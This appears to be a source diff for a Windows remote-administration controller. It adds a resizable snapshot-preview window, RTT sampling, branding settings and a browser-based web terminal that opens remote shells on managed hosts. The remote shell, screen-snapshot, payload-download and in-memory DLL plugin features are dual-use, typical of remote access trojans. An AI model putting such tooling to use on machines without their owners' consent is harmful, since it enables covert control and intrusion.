int mode = cfg ? cfg->Mode : info->Schedule.Mode;
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < 2 ? runType : 0]));
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < 4 ? mode : 0]));
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < RUNTYPE_MAX ? runType : MEMORYDLL]));
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < SCH_MODE_MAX ? mode : SCH_MODE_NONE]));
m_listPlugins.SetItemText(index, 4, CString(info->Md5));
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
@@ -169,9 +172,9 @@ void CPluginSettingsDlg::UpdateSelectedPluginInfo()
unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval;
unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount;
m_comboRunType.SetCurSel(runType < 2 ? runType : 0);
m_comboCallType.SetCurSel(callType < 4 ? callType : 0);
m_comboMode.SetCurSel(mode < 4 ? mode : 0);
m_comboRunType.SetCurSel(runType < RUNTYPE_MAX ? runType : MEMORYDLL);
m_comboCallType.SetCurSel(callType < CALLTYPE_MAX ? callType : CALLTYPE_IOCPTHREAD);
m_comboMode.SetCurSel(mode < SCH_MODE_MAX ? mode : SCH_MODE_NONE);
CString str;
str.Format(_T("%u"), interval);

View File

@@ -1,6 +1,7 @@
// PreviewTipWnd.cpp
#include "stdafx.h"
#include "PreviewTipWnd.h"
#include "resource.h" // IDI_ICON_SNAPSHOT循环模式标题栏图标
#include <objidl.h> // IUnknown / IStream — gdiplus.h 依赖它们已声明
#include <gdiplus.h>
@@ -21,6 +22,9 @@ constexpr int LOADING_H = 270;
BEGIN_MESSAGE_MAP(CPreviewTipWnd, CWnd)
ON_WM_PAINT()
ON_WM_ERASEBKGND()
ON_WM_DESTROY()
ON_WM_SIZE()
ON_WM_GETMINMAXINFO()
END_MESSAGE_MAP()
CPreviewTipWnd::CPreviewTipWnd() = default;
@@ -28,11 +32,15 @@ CPreviewTipWnd::CPreviewTipWnd() = default;
CPreviewTipWnd::~CPreviewTipWnd()
{
// m_image 通过 unique_ptr 自动释放
if (m_hIconSmall) { ::DestroyIcon(m_hIconSmall); m_hIconSmall = nullptr; }
if (m_hIconBig) { ::DestroyIcon(m_hIconBig); m_hIconBig = nullptr; }
}
BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW)
BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW,
bool loopMode, const CStringW& windowTitle)
{
m_text = text;
m_loopMode = loopMode; // 注意:影响后续 SetImageFromJpeg / OnPaint / OnSize 行为
m_imageReserveW = imageReserveW > 0 ? min(imageReserveW, MAX_IMAGE_W) : 0;
m_imageReserveH = m_imageReserveW > 0 ? (m_imageReserveW * 9 / 16) : 0;
if (m_imageReserveW > 0 && m_imageReserveW < LOADING_W) {
@@ -53,25 +61,60 @@ BOOL CPreviewTipWnd::Create(CWnd* pParent, CPoint anchor, const CStringW& text,
HFONT hF = ::CreateFontIndirectW(&lf);
if (hF) m_font.Attach(hF);
// 注册自绘窗口类:用 MFC 的 AfxRegisterWndClass 确保和 MFC 子类化机制兼容
// 窗口类:单发 tooltip 走 CS_SAVEBITS短时显示省 BitBlt
// 循环窗口是长存窗口,加 CS_HREDRAW|CS_VREDRAW 让拉伸时实时重绘
UINT classStyle = loopMode ? (CS_HREDRAW | CS_VREDRAW) : CS_SAVEBITS;
LPCTSTR kClass = AfxRegisterWndClass(
CS_SAVEBITS,
classStyle,
::LoadCursor(NULL, IDC_ARROW),
(HBRUSH)(COLOR_INFOBK + 1),
(HBRUSH)(COLOR_BTNFACE + 1),
NULL);
// 临时尺寸RecalcLayoutAndResize 会在创建后调整
CRect rc(anchor.x, anchor.y, anchor.x + 400, anchor.y + 200);
BOOL bOk = CWnd::CreateEx(
WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
kClass, _T(""),
WS_POPUP | WS_BORDER,
rc, pParent, 0);
// 样式选择:
// 单发 tooltip —— WS_POPUP|WS_BORDER + EX_TOPMOST|TOOLWINDOW|NOACTIVATE
// (不激活、不上任务栏、置顶;光标移开会被主对话框关掉)
// 循环监视窗口 —— WS_OVERLAPPEDWINDOW (标题栏 / 系统菜单 / 最大化 / 最小化 / 可调整边框)
// + WS_EX_APPWINDOW强制独立任务栏图标便于多窗口切换
DWORD style = loopMode ? (WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN)
: (WS_POPUP | WS_BORDER);
DWORD styleEx = loopMode ? WS_EX_APPWINDOW
: (WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE);
// 单发模式下窗口文本无意义(无标题栏可显示);循环模式下用宽字符 SetWindowTextW 显式设。
BOOL bOk = CWnd::CreateEx(styleEx, kClass, _T(""), style, rc, pParent, 0);
if (!bOk) return FALSE;
if (loopMode && !windowTitle.IsEmpty()) {
::SetWindowTextW(GetSafeHwnd(), windowTitle);
}
// 循环模式:给窗口装上眼睛图标(标题栏 + 任务栏 + Alt-Tab
// ICO 资源里包含 16x16 与 32x32 两份ICON_SMALL/ICON_BIG 各取最佳尺寸。
// HICON 由本类持有,析构时 DestroyIconWM_SETICON 不转移所有权)。
if (loopMode) {
m_hIconSmall = (HICON)::LoadImage(AfxGetInstanceHandle(),
MAKEINTRESOURCE(IDI_ICON_SNAPSHOT), IMAGE_ICON,
::GetSystemMetrics(SM_CXSMICON), ::GetSystemMetrics(SM_CYSMICON),
LR_DEFAULTCOLOR);
m_hIconBig = (HICON)::LoadImage(AfxGetInstanceHandle(),
MAKEINTRESOURCE(IDI_ICON_SNAPSHOT), IMAGE_ICON,
::GetSystemMetrics(SM_CXICON), ::GetSystemMetrics(SM_CYICON),
LR_DEFAULTCOLOR);
if (m_hIconSmall) SendMessage(WM_SETICON, ICON_SMALL, (LPARAM)m_hIconSmall);
if (m_hIconBig) SendMessage(WM_SETICON, ICON_BIG, (LPARAM)m_hIconBig);
}
RecalcLayoutAndResize();
ShowWindow(SW_SHOWNOACTIVATE);
// 单发:不激活;循环:正常显示,允许接收焦点(系统菜单 / 拖拽 / 最小化都需要可激活)
ShowWindow(loopMode ? SW_SHOWNORMAL : SW_SHOWNOACTIVATE);
if (loopMode) {
// 任务栏图标 + 标题在多窗口情况下立刻可见
UpdateWindow();
}
return TRUE;
}
@@ -102,7 +145,11 @@ void CPreviewTipWnd::SetImageFromJpeg(const BYTE* data, size_t bytes)
m_image = std::move(bmp);
m_hasImage = true;
m_unavailable = false;
RecalcLayoutAndResize();
// 循环模式下窗口尺寸交给用户控制OnSize / WS_THICKFRAME后续帧不再自动重排版
// 只 Invalidate 触发重绘;图像在 OnPaint 中按 client rect 等比例适配。
if (!m_loopMode) {
RecalcLayoutAndResize();
}
if (GetSafeHwnd()) Invalidate();
}
@@ -113,6 +160,44 @@ void CPreviewTipWnd::MarkPreviewUnavailable()
if (GetSafeHwnd()) Invalidate();
}
void CPreviewTipWnd::SetLoopOwner(HWND ownerHwnd, UINT msgId, uint64_t clientId)
{
// 仅更新回调订阅m_loopMode 由 Create() 一次性设定,不在这里改 —— 否则
// CloseLoopTip 用 SetLoopOwner(NULL,0,0) 解订阅时会顺手把 loopMode 翻成 false
// 导致 PostNcDestroy 跳过 delete this → 每关一次循环窗口泄漏一个对象。
m_loopOwner = ownerHwnd;
m_loopMsg = msgId;
m_clientId = clientId;
}
void CPreviewTipWnd::OnDestroy()
{
// 在窗口实际销毁前回告 owner仅循环模式。owner 据此从映射表擦掉本条目。
// 注意:把字段先置零,避免极端情况下被 PostNcDestroy 再触发一次。
if (m_loopMode && m_loopOwner && ::IsWindow(m_loopOwner) && m_loopMsg != 0) {
HWND owner = m_loopOwner;
UINT msg = m_loopMsg;
m_loopOwner = nullptr;
m_loopMsg = 0;
// 64 位 clientId 用 LPARAM 指针传递WPARAM 在 32 位 Windows 不够宽。
auto* pId = new uint64_t(m_clientId);
if (!::PostMessageA(owner, msg, 0, (LPARAM)pId)) {
delete pId;
}
}
CWnd::OnDestroy();
}
void CPreviewTipWnd::PostNcDestroy()
{
// 仅循环模式自管理生命周期;单次提示窗口由主对话框 SAFE_DELETE 释放。
bool selfDelete = m_loopMode;
CWnd::PostNcDestroy();
if (selfDelete) {
delete this;
}
}
void CPreviewTipWnd::RecalcLayoutAndResize()
{
HWND hWnd = GetSafeHwnd();
@@ -181,6 +266,7 @@ void CPreviewTipWnd::OnPaint()
CPaintDC pdc(this);
CRect rcClient;
GetClientRect(&rcClient);
if (rcClient.IsRectEmpty()) return;
// 双缓冲
CDC memDC;
@@ -189,41 +275,115 @@ void CPreviewTipWnd::OnPaint()
memBmp.CreateCompatibleBitmap(&pdc, rcClient.Width(), rcClient.Height());
CBitmap* oldBmp = memDC.SelectObject(&memBmp);
memDC.FillSolidRect(&rcClient, ::GetSysColor(COLOR_INFOBK));
// 单发 tooltip 用 COLOR_INFOBK系统提示底色循环窗口用 COLOR_BTNFACE普通窗口背景
COLORREF bg = m_loopMode ? ::GetSysColor(COLOR_BTNFACE) : ::GetSysColor(COLOR_INFOBK);
memDC.FillSolidRect(&rcClient, bg);
CFont* oldFont = memDC.SelectObject(&m_font);
memDC.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
memDC.SetTextColor(::GetSysColor(m_loopMode ? COLOR_WINDOWTEXT : COLOR_INFOTEXT));
memDC.SetBkMode(TRANSPARENT);
int curY = PADDING;
if (m_imageDrawW > 0 && m_imageDrawH > 0) {
CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
DrawImageArea(memDC, rcImg);
curY += m_imageDrawH + IMAGE_TEXT_GAP;
if (m_loopMode) {
// 循环模式:基于 client rect 动态分配;图像区按 client 大小自适应,文本固定在底部
CRect rcImg, rcText;
LayoutForLoopMode(rcClient, rcImg, rcText);
if (!rcImg.IsRectEmpty()) DrawImageArea(memDC, rcImg);
if (!rcText.IsRectEmpty()) DrawTextArea(memDC, rcText);
} else {
// 单发 tooltip保持原行为按 RecalcLayoutAndResize 算好的固定尺寸排版
int curY = PADDING;
if (m_imageDrawW > 0 && m_imageDrawH > 0) {
CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
DrawImageArea(memDC, rcImg);
curY += m_imageDrawH + IMAGE_TEXT_GAP;
}
CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
DrawTextArea(memDC, rcText);
}
CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
DrawTextArea(memDC, rcText);
memDC.SelectObject(oldFont);
pdc.BitBlt(0, 0, rcClient.Width(), rcClient.Height(), &memDC, 0, 0, SRCCOPY);
memDC.SelectObject(oldBmp);
}
void CPreviewTipWnd::LayoutForLoopMode(const CRect& client, CRect& outImg, CRect& outText)
{
outImg.SetRectEmpty();
outText.SetRectEmpty();
int innerW = client.Width() - 2 * PADDING;
if (innerW < 50) return; // 太窄,啥也别画,避免计算崩溃
// 计算文本以当前可用宽度换行后的高度(用一份临时 DC
int textH = 0;
{
CClientDC dc(this);
CFont* old = dc.SelectObject(&m_font);
CRect rcCalc(0, 0, innerW, 32767);
::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &rcCalc,
DT_CALCRECT | DT_LEFT | DT_WORDBREAK | DT_NOPREFIX);
textH = rcCalc.Height();
dc.SelectObject(old);
}
// 文本固定在底部
outText.SetRect(client.left + PADDING,
client.bottom - PADDING - textH,
client.right - PADDING,
client.bottom - PADDING);
// 图像区占顶部剩余空间
outImg.SetRect(client.left + PADDING,
client.top + PADDING,
client.right - PADDING,
outText.top - IMAGE_TEXT_GAP);
// 高度不足以放图像(被压扁)→ 只画文本
if (outImg.Height() < 60) {
outImg.SetRectEmpty();
// 文本提到中间,避免压在底部边缘
outText.MoveToY(client.top + PADDING);
}
}
void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
{
if (rc.IsRectEmpty()) return;
// 边框
dc.Draw3dRect(&rc, ::GetSysColor(COLOR_3DSHADOW), ::GetSysColor(COLOR_3DSHADOW));
CRect rcInner = rc;
rcInner.DeflateRect(1, 1);
if (m_hasImage && m_image) {
Graphics g(dc.GetSafeHdc());
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
g.SetSmoothingMode(SmoothingModeHighQuality);
g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
if (m_loopMode) {
// 循环模式:保留长宽比适配 rect黑色背景充当 letterbox 留白
dc.FillSolidRect(&rcInner, RGB(32, 32, 32));
double imgW = (double)m_image->GetWidth();
double imgH = (double)m_image->GetHeight();
if (imgW > 0 && imgH > 0 && rcInner.Width() > 0 && rcInner.Height() > 0) {
double sx = rcInner.Width() / imgW;
double sy = rcInner.Height() / imgH;
double scale = sx < sy ? sx : sy;
int drawW = (int)(imgW * scale + 0.5);
int drawH = (int)(imgH * scale + 0.5);
int x = rcInner.left + (rcInner.Width() - drawW) / 2;
int y = rcInner.top + (rcInner.Height() - drawH) / 2;
Graphics g(dc.GetSafeHdc());
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
g.SetSmoothingMode(SmoothingModeHighQuality);
g.DrawImage(m_image.get(), x, y, drawW, drawH);
}
} else {
// 单发:与原行为一致,铺满 rc
Graphics g(dc.GetSafeHdc());
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
g.SetSmoothingMode(SmoothingModeHighQuality);
g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
}
} else {
// 占位灰色背景
CRect rcInner = rc;
rcInner.DeflateRect(1, 1);
dc.FillSolidRect(&rcInner, RGB(245, 245, 245));
const wchar_t* placeholder = m_unavailable ? L"Preview Unavailable" : L"Loading Preview ...";
@@ -231,10 +391,29 @@ void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
dc.SetTextColor(m_unavailable ? RGB(160, 80, 80) : RGB(120, 120, 120));
RECT rcInnerRaw = rcInner;
::DrawTextW(dc.GetSafeHdc(), placeholder, -1, &rcInnerRaw, fmt);
dc.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
dc.SetTextColor(::GetSysColor(m_loopMode ? COLOR_WINDOWTEXT : COLOR_INFOTEXT));
}
}
void CPreviewTipWnd::OnSize(UINT nType, int cx, int cy)
{
CWnd::OnSize(nType, cx, cy);
if (m_loopMode && GetSafeHwnd()) {
// 循环模式:所有排版交给 OnPaint 读取 client rect重画即可
Invalidate();
}
}
void CPreviewTipWnd::OnGetMinMaxInfo(MINMAXINFO* lpMMI)
{
if (m_loopMode && lpMMI) {
// 防止用户把窗口拽到肉眼不可见。240x200 大致能保证标题栏 + 一行文本 + 缩略图可见。
lpMMI->ptMinTrackSize.x = 240;
lpMMI->ptMinTrackSize.y = 200;
}
CWnd::OnGetMinMaxInfo(lpMMI);
}
void CPreviewTipWnd::DrawTextArea(CDC& dc, const CRect& rc)
{
RECT r = rc;

View File

@@ -20,7 +20,12 @@ public:
// text 下方显示的主机详情文本(宽字符,确保跨语言系统正确渲染)
// imageReserveW 上方图像区域预留宽度(即将到来的预览最大宽度,仅作初始布局)
// 为 0 表示不预留 — 与老 STATIC 路径行为一致(仅文本)
BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW);
// loopMode true: 真正的可拖拽/缩放/最小化/最大化的独立窗口("播放快照"循环),
// 带标题栏 + 任务栏图标,关闭按钮走系统菜单;
// false: 单发 tooltip双击主机的预览无 chrome、不激活、置顶。
// windowTitle loopMode=true 时显示在标题栏与任务栏的文本false 时忽略。
BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW,
bool loopMode = false, const CStringW& windowTitle = L"");
// 收到 JPEG 后调用:解码并重画。线程安全前提是只在主 UI 线程调用。
void SetImageFromJpeg(const BYTE* data, size_t bytes);
@@ -30,15 +35,28 @@ public:
WORD GetReqId() const { return m_reqId; }
void SetReqId(WORD id) { m_reqId = id; }
// 循环快照模式:开启后窗口销毁时会向 ownerHwnd 发送 msgIdLPARAM 是堆上的
// uint64_t* 携带 clientId接收方负责 delete且 PostNcDestroy 会自动 delete this。
// 调用方需在自行销毁前用 SetLoopOwner(NULL, 0, 0) 解除回调,避免重复通知。
void SetLoopOwner(HWND ownerHwnd, UINT msgId, uint64_t clientId);
uint64_t GetClientID() const { return m_clientId; }
bool IsLoopMode() const { return m_loopMode; }
protected:
afx_msg void OnPaint();
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
afx_msg void OnDestroy();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnGetMinMaxInfo(MINMAXINFO* lpMMI);
virtual void PostNcDestroy();
DECLARE_MESSAGE_MAP()
private:
void RecalcLayoutAndResize();
void DrawImageArea(CDC& dc, const CRect& rc);
void DrawTextArea(CDC& dc, const CRect& rc);
// 循环模式:基于当前 client rect 重新分配图像区/文本区
void LayoutForLoopMode(const CRect& client, CRect& outImg, CRect& outText);
CStringW m_text;
int m_imageReserveW = 0; // 预留图像宽度(图像未到达时占位)
@@ -54,4 +72,14 @@ private:
CFont m_font;
WORD m_reqId = 0;
// 循环快照模式相关
bool m_loopMode = false;
HWND m_loopOwner = nullptr;
UINT m_loopMsg = 0;
uint64_t m_clientId = 0;
// 标题栏 / 任务栏图标。WM_SETICON 不转移所有权MSDNoriginator 必须自己释放),
// 析构时 DestroyIcon不能在 OnDestroy 里销毁,因为系统在 WM_NCDESTROY 之前还在用它。
HICON m_hIconSmall = nullptr;
HICON m_hIconBig = nullptr;
};

View File

@@ -8,6 +8,7 @@
#include "Buffer.h"
#define XXH_INLINE_ALL
#include "common/xxhash.h"
#include "common/LANChecker.h"
#include <WS2tcpip.h>
#include <common/ikcp.h>
#include <atomic>
@@ -378,6 +379,14 @@ public:
std::atomic<int> IoRefCount{0}; // I/O 处理引用计数
std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除
// 内核测得的纯网络 RTTμs由 IOCPServer 的 RTT 轮询线程通过
// WSAIoctl(SIO_TCP_INFO) 周期性写入;任何线程可通过 GetRttUs() 安全读取。
// m_LastRttSampleMs == 0 表示从未成功采样过OS 不支持或连接太短未轮询到)。
std::atomic<uint32_t> m_RttUs{0};
std::atomic<uint64_t> m_LastRttSampleMs{0};
// 试用版反代理逐连接检测器。仅由 IOCPServer 的 RTT 轮询线程访问,免锁。
TcpRttBreachDetector m_RttDetector;
// 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。
// 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受),
// 仅作为标记供后续命令处理 / 未来收紧策略使用。
@@ -517,9 +526,28 @@ public:
IoRefCount.store(0, std::memory_order_release);
// 复用对象池时清空校验状态
m_bAuthenticated.store(false, std::memory_order_release);
// 复用对象池时重置 RTT 相关状态,避免上一个连接的数据污染
m_RttUs.store(0, std::memory_order_release);
m_LastRttSampleMs.store(0, std::memory_order_release);
m_RttDetector.Reset();
}
void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); }
bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); }
// 由 RTT 轮询线程写入。rttUs 为内核测得的纯网络 RTT微秒
void SetRttUs(uint32_t rttUs)
{
m_RttUs.store(rttUs, std::memory_order_release);
m_LastRttSampleMs.store((uint64_t)GetTickCount64(), std::memory_order_release);
}
uint32_t GetRttUs() const { return m_RttUs.load(std::memory_order_acquire); }
// 供 UI 展示用μs → ms样本超过 10 秒未更新(连接刚断/未轮询到)视为不可用,返回 -1。
int GetRttMsForDisplay() const
{
uint64_t last = m_LastRttSampleMs.load(std::memory_order_acquire);
if (last == 0 || (uint64_t)GetTickCount64() - last > 10000) return -1;
return (int)((m_RttUs.load(std::memory_order_acquire) + 500) / 1000);
}
uint64_t GetAliveTime()const
{
return time(0) - OnlineTime;

View File

@@ -9,6 +9,8 @@
//
// 编码要求:此文件必须保存为 UTF-8 with BOMMSVC 要求)
// 注意:此文件中的配置会编译到程序中,运行时无法修改。
// 修改原则最小化原则。如果是UI文案修改通常没有问题
// 如果修改项涉及数据存储、程序配置、代码逻辑,可能导致程序异常。
//
// ============================================================
//
@@ -107,6 +109,7 @@
// 注册表键名 [仅ASCII无空格]
// 存储位置HKCU\Software\{此键名}
// 不能修改,修改会隐藏授权
#define BRAND_REGISTRY_KEY "YAMA"
// 网络通信前缀 [仅ASCII无空格]
@@ -262,7 +265,7 @@
//
// 如果配置值以 "http" 开头,则作为 URL 打开浏览器。
// 否则直接显示为文本消息。
//
// 链接从上级同步而来,修改无效;建议设置这些菜单为隐藏
// 反馈链接(帮助菜单 → 反馈)
#define BRAND_URL_FEEDBACK "https://t.me/SimpleRemoter"
@@ -290,6 +293,11 @@
#define BRAND_LICENSE_MAGIC "YAMA" // 许可证魔数
#define BRAND_EVENT_PREFIX "YAMA" // 进程事件名前缀
#define BRAND_ENV_VAR "YAMA_PWD" // 环境变量名set YAMA_PWD=密码)
// Web UI 专用 admin 密码;优先级高于 BRAND_ENV_VAR。两者都未设置时退回到
// 兼容行为(用 m_superPass。隔离的目的是让公网 Web 登录密码与下级授权
// 用的 master password 解耦——后者一旦泄漏影响面更大,应避免在公网登录
// 时复用。与 Go 服务端的 YAMA_WEB_ADMIN_PASS 语义一致。
#define BRAND_WEB_ENV_VAR "YAMA_WEB_ADMIN_PASS"
// --- 宽字符版本(自动生成)---
#define BRAND_APP_NAME_W _T(BRAND_APP_NAME)

File diff suppressed because it is too large Load Diff

View File

@@ -1,5 +1,6 @@
#include "stdafx.h"
#include "2015Remote.h"
#include "resource.h" // IDR_WEB_XTERM_* (xterm.js/css 静态资源 ID)
#include "WebService.h"
#include "WebServiceAuth.h"
#include "2015RemoteDlg.h"
@@ -18,6 +19,21 @@
#pragma comment(lib, "ws2_32.lib")
// Load a Win32 BINARY resource by ID as std::string (raw bytes).
// Returns empty string on failure. The std::string is OK to hold binary data
// (we only treat it as bytes; size is from .length()).
static std::string LoadBinaryResourceAsString(int resourceId) {
HRSRC hRes = FindResourceA(NULL, MAKEINTRESOURCEA(resourceId), "BINARY");
if (!hRes) return {};
DWORD size = SizeofResource(NULL, hRes);
if (!size) return {};
HGLOBAL hData = LoadResource(NULL, hRes);
if (!hData) return {};
LPVOID p = LockResource(hData);
if (!p) return {};
return std::string(static_cast<const char*>(p), size);
}
// Challenge-response nonce storage (prevents replay attacks)
static std::map<void*, std::string> s_ClientNonces;
static std::mutex s_NonceMutex;
@@ -239,11 +255,35 @@ void CWebService::ServerThread(int port) {
// Serve static HTML page and file downloads
static std::string cachedHtml = GetWebPageHTML();
// Log loaded size; zero bytes means the RC BINARY resource is missing or
// server/web/index.html was not embedded — check 2015Remote.rc and rebuild.
Mprintf("[WebService] index.html loaded: %zu bytes\n", cachedHtml.size());
std::string payloadsDir = m_PayloadsDir; // Capture for lambda
wsServer.onHttp([payloadsDir](const std::string& path) -> ws::HttpResponse {
// 静态资源缓存xterm.js / xterm.css / fit-addon。RC binary 资源加载一次缓存到内存,
// 避免每个浏览器请求都去 LockResource。Cache-Control 给浏览器侧缓存友好。
static std::string cachedXtermJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_JS);
static std::string cachedXtermCss = LoadBinaryResourceAsString(IDR_WEB_XTERM_CSS);
static std::string cachedXtermFitJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_FIT_JS);
auto buildStatic = [](const std::string& body, const std::string& mime) {
ws::HttpResponse r = ws::HttpResponse::OK(body, mime);
r.headers["Cache-Control"] = "public, max-age=86400"; // 1 day
return r;
};
wsServer.onHttp([payloadsDir, buildStatic](const std::string& path) -> ws::HttpResponse {
if (path == "/" || path == "/index.html") {
return ws::HttpResponse::OK(cachedHtml);
} else if (path == "/static/xterm.js") {
if (cachedXtermJs.empty()) return ws::HttpResponse::NotFound();
return buildStatic(cachedXtermJs, "application/javascript; charset=utf-8");
} else if (path == "/static/xterm.css") {
if (cachedXtermCss.empty()) return ws::HttpResponse::NotFound();
return buildStatic(cachedXtermCss, "text/css; charset=utf-8");
} else if (path == "/static/xterm-fit.js") {
if (cachedXtermFitJs.empty()) return ws::HttpResponse::NotFound();
return buildStatic(cachedXtermFitJs, "application/javascript; charset=utf-8");
} else if (path == "/health") {
return ws::HttpResponse::OK("{\"status\":\"ok\"}", "application/json");
} else if (path == "/manifest.json") {
@@ -366,6 +406,14 @@ void CWebService::ServerThread(int port) {
HandleListUsers(ws_ptr, token);
} else if (cmd == "get_groups") {
HandleGetGroups(ws_ptr, token);
} else if (cmd == "term_open") {
HandleTermOpen(ws_ptr, msg);
} else if (cmd == "term_input") {
HandleTermInput(ws_ptr, msg);
} else if (cmd == "term_resize") {
HandleTermResize(ws_ptr, msg);
} else if (cmd == "term_close") {
HandleTermClose(ws_ptr, msg);
}
}
});
@@ -1163,6 +1211,16 @@ void CWebService::UnregisterClient(void* ws_ptr) {
if (device_id > 0) {
StopRemoteDesktop(device_id);
}
// 关闭这个 web client 持有的所有终端会话MVP 一个用户一台主机一个,但兜底全扫描)
{
std::lock_guard<std::mutex> lk(m_TermMutex);
std::vector<uint64_t> to_close;
for (auto& kv : m_TermSessions) {
if (kv.second.ws_ptr == ws_ptr) to_close.push_back(kv.first);
}
for (uint64_t did : to_close) CloseTermSessionLocked(did);
}
}
WebClient* CWebService::FindClient(void* ws_ptr) {
@@ -1716,6 +1774,255 @@ void CWebService::StopRemoteDesktop(uint64_t device_id) {
}
}
//////////////////////////////////////////////////////////////////////////
// Web Terminal Session
//
// 数据流向:
// 浏览器 ── term_open ──► HandleTermOpen ── COMMAND_SHELL ──► 客户端
// 客户端 ── shell 子上下文 ──► MessageHandle TOKEN_TERMINAL_START
// ── RegisterTerminalContext ──► WebService
// 客户端 shell 输出 ── TOKEN_TERMINAL_DATA ──► MessageHandle ──► OnTerminalData
// ──► term_output 给浏览器
// 浏览器 keystrokes ── term_input ──► HandleTermInput ──► shell_ctx->Send2Client
//
// 一台主机最多一个 web 终端会话MVP
//////////////////////////////////////////////////////////////////////////
static std::string BuildTermJson(const std::string& cmd, std::initializer_list<std::pair<const char*, std::string>> kv) {
Json::Value v;
v["cmd"] = cmd;
for (auto& p : kv) v[p.first] = p.second;
Json::StreamWriterBuilder b; b["indentation"] = "";
return Json::writeString(b, v);
}
void CWebService::HandleTermOpen(void* ws_ptr, const std::string& msg) {
Json::Value root; Json::Reader rdr;
if (!rdr.parse(msg, root)) return;
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Invalid token"));
return;
}
std::string id_str = root.get("id", "").asString();
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
if (!device_id || !m_pParentDlg) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Bad request"));
return;
}
context* ctx = m_pParentDlg->FindHost(device_id);
if (!ctx) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Device offline"));
return;
}
// Group permission check (admin 全部可见)
if (username != "admin") {
std::string g = ctx->GetGroupName(); if (g.empty()) g = "default";
bool ok = false;
{
std::lock_guard<std::mutex> lk(m_UsersMutex);
for (auto& u : m_Users) if (u.username == username) {
for (auto& ag : u.allowed_groups) if (ag == g) { ok = true; break; }
break;
}
}
if (!ok) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Permission denied"));
return;
}
}
// 占用MVP 阶段单设备单 web 终端
{
std::lock_guard<std::mutex> lk(m_TermMutex);
if (m_TermSessions.find(device_id) != m_TermSessions.end() ||
m_TermPending.find(device_id) != m_TermPending.end()) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false,
"Terminal already open by another viewer"));
return;
}
WebTermSession s; s.ws_ptr = ws_ptr; s.device_id = device_id;
s.shell_ctx = nullptr; s.is_pty = false;
m_TermSessions[device_id] = s;
m_TermPending.insert(device_id);
}
// 触发客户端:发 COMMAND_SHELL
BYTE cmd = COMMAND_SHELL;
if (!ctx->Send2Client(&cmd, 1)) {
std::lock_guard<std::mutex> lk(m_TermMutex);
m_TermSessions.erase(device_id);
m_TermPending.erase(device_id);
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Send failed"));
return;
}
Mprintf("[WebService] term_open device=%llu user=%s\n", device_id, username.c_str());
}
void CWebService::HandleTermInput(void* ws_ptr, const std::string& msg) {
Json::Value root; Json::Reader rdr;
if (!rdr.parse(msg, root)) return;
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) return;
std::string id_str = root.get("id", "").asString();
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
std::string data = root.get("data", "").asString();
if (!device_id || data.empty()) return;
CONTEXT_OBJECT* shellCtx = nullptr;
{
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end() || it->second.ws_ptr != ws_ptr) return;
shellCtx = it->second.shell_ctx;
}
if (!shellCtx) return; // shell 子上下文还没就绪
shellCtx->Send2Client((BYTE*)data.data(), (ULONG)data.size());
}
void CWebService::HandleTermResize(void* ws_ptr, const std::string& msg) {
Json::Value root; Json::Reader rdr;
if (!rdr.parse(msg, root)) return;
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) return;
std::string id_str = root.get("id", "").asString();
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
int cols = root.get("cols", 0).asInt();
int rows = root.get("rows", 0).asInt();
if (!device_id || cols <= 0 || rows <= 0) return;
